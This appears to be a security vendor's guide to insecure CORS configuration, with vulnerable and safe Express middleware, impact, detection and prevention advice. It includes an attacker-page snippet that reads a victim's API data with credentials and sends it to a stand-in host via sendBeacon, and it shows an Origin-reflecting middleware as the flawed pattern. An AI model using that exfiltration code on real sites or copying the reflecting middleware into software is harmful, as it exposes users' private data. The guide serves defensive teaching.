Skip to content

Insecure CORS configuration

CWE-942CWE-346OWASP A05:2021Updated September 4, 20265 min read

Cross-Origin Resource Sharing determines which other sites may read your API's responses. If the supplied Origin is reflected without checking and credentials are enabled at the same time, any site can read data belonging to your logged-in users. The same-origin policy that normally protects your browser is then deliberately switched off.

The same-origin policy is the most important dividing line in the browser: without that rule, every site could read the data of every other site. CORS is the mechanism with which you deliberately relax it for parties you trust. A configuration error in it is therefore not merely a wrong setting; it is switching off the protection itself. That happens more easily than it sounds, and the repair is precise work.

What is CORS?

Cross-Origin Resource Sharing (CORS) is a set of HTTP headers with which a server states which other origins may read its responses. By default the browser does not allow that: JavaScript on site-a.example may send a request to api.site-b.example, but may not read the response. That separation is exactly what stops an arbitrary website reading your webmail or banking environment while you are logged in.

With Access-Control-Allow-Origin you break that separation for specific parties. That is legitimate and often necessary: a frontend on a different domain from the API, a partner integrating your service, a mobile application. The problem arises when the list of permitted parties amounts in practice to “everyone”.

Compare it with a visitor policy. You can permit certain partners to walk in. But a policy amounting to “whoever presents themselves at the door may enter” is not a policy; it is an open door with a form beside it.

How does a CORS configuration go wrong?

The most dangerous variant grows out of a solution to a practical problem: there are too many legitimate origins to list, so the supplied value is simply echoed back.

Vulnerable:

// The requester's origin is reflected without checking
app.use((req, res, next) => {
  res.set('Access-Control-Allow-Origin', req.get('Origin'));
  res.set('Access-Control-Allow-Credentials', 'true');
  next();
});

This works perfectly for all legitimate frontends, which is exactly why it survives. But the Origin header is set by the site making the request, and therefore also by an attacker’s site. The result:

// On the attacker's page, visited by a logged-in user
const response = await fetch('https://api.portal.example/my/details', {
  credentials: 'include',           // sends the session cookie
});
const data = await response.json();

navigator.sendBeacon('https://malicious.example/in', JSON.stringify(data));

The browser sends the session cookie, the server answers with Access-Control-Allow-Origin: https://malicious.example and Allow-Credentials: true, and the browser permits the read. The attacker now holds the data of every logged-in visitor to their page, without a password, without an injection and without anything unusual appearing in your logs.

A variant of this is a check that merely tests whether the origin contains your domain name. https://portal.example.malicious.example contains the text portal.example and slips straight through.

Safe:

const ALLOWED = new Set([
  'https://portal.example',
  'https://admin.portal.example',
]);

app.use((req, res, next) => {
  const origin = req.get('Origin');

  if (origin && ALLOWED.has(origin)) {          // exact match
    res.set('Access-Control-Allow-Origin', origin);
    res.set('Access-Control-Allow-Credentials', 'true');
    res.set('Access-Control-Allow-Methods', 'GET, POST');
    res.set('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    res.set('Access-Control-Max-Age', '600');
  }
  res.set('Vary', 'Origin');                    // caches must not mix
  next();
});

The comparison is now exact and made against a fixed list; nothing is reflected that is not on it. Vary: Origin is no detail here: without that header a cache can serve the response for one origin to another, reintroducing the flaw.

Limit permitted origins to complete, exact addresses including the protocol. Never allow http:// alongside https://, and do not include development or test environments in the production configuration. A forgotten http://localhost:3000 on the list is a known finding that can be abused in practice.

What is the impact of an unsafe CORS configuration?

The severity runs from medium to high and depends on two things: what the API returns and whether Allow-Credentials is enabled.

If the latter is off, the damage stays limited: an attacker can reach the API, but without the victim’s session and therefore only as an anonymous user. If it is on in combination with an overly broad policy, the outcome is comparable to cross-site scripting: every site your user visits can request data on their behalf and read the answers.

What makes it particularly awkward is the invisibility. The victim only has to visit a page; no click is needed, no download and no warning. The requests come from their own browser with their own session, so nothing unusual appears in the application’s logs. Depending on what the API exposes, this concerns personal data, documents, customer information or, if write actions are possible too, changes made on the user’s behalf.

How do you detect an unsafe CORS configuration?

A tester sends requests with a self-chosen Origin header and looks at what the server returns. If that value is reflected in Access-Control-Allow-Origin, the main finding is immediately established. If Access-Control-Allow-Credentials: true is present as well, the risk is directly concrete.

Then come the variants that are often missed. Is the origin checked with a comparison that only looks at part of the text, so that portal.example.malicious.example or maliciousportal.example is accepted? Is the value null allowed, which an attacker can produce from a sandboxed iframe? Are unintended origins on the list, such as test environments or an http:// variant? And is Vary: Origin missing, allowing an intermediate cache to mix up responses? Testers also check whether the policy differs per endpoint, since a strict setting on the main route says nothing about an older API still running beside it. AssistSec also assesses what can be retrieved through those endpoints, because the severity is ultimately determined by the data that comes out.

How do you prevent an unsafe CORS configuration?

  • Work with a fixed list of permitted origins and compare exactly against it, including protocol and port.
  • Never reflect the Origin header without checking, not even “temporarily” during development.
  • Enable Access-Control-Allow-Credentials only when genuinely needed, and never together with a wildcard.
  • Do not allow the value null; an attacker can produce it easily.
  • Always send Vary: Origin, so caches do not mix responses for different origins.
  • Keep development and test origins out of the production configuration.
  • Restrict Allow-Methods and Allow-Headers to what is actually needed.
  • Keep using CSRF tokens; CORS protects reading responses, not performing actions.
  • Check the policy per endpoint, including older API versions that are still reachable.

Sources

Frequently asked questions

Why is reflecting Origin so dangerous?

Because the Origin header is set by the site making the request. If you reflect that value, you are effectively telling every site that it is permitted. Combined with Allow-Credentials that means: any site may reach your API with your logged-in user's cookies and read the response.

May I use a wildcard?

Only for genuinely public data where no authentication is involved. Browsers refuse the combination of a wildcard with Allow-Credentials, and that is a deliberate safety measure. Do not try to work around it by reflecting the Origin instead.

Does CORS protect against CSRF?

No, and that confusion is persistent. CORS governs whether another site may read the response; the request itself is often sent and executed regardless. A state-changing action can therefore succeed while the attacker does not see the answer. You still need CSRF tokens.

Is null a safe value to allow?

No, quite the opposite. The value null appears among other things with requests from a sandboxed iframe, which an attacker can create on their own page. Allowing null therefore amounts to allowing arbitrary sites.

Related articles

Press / to search · Esc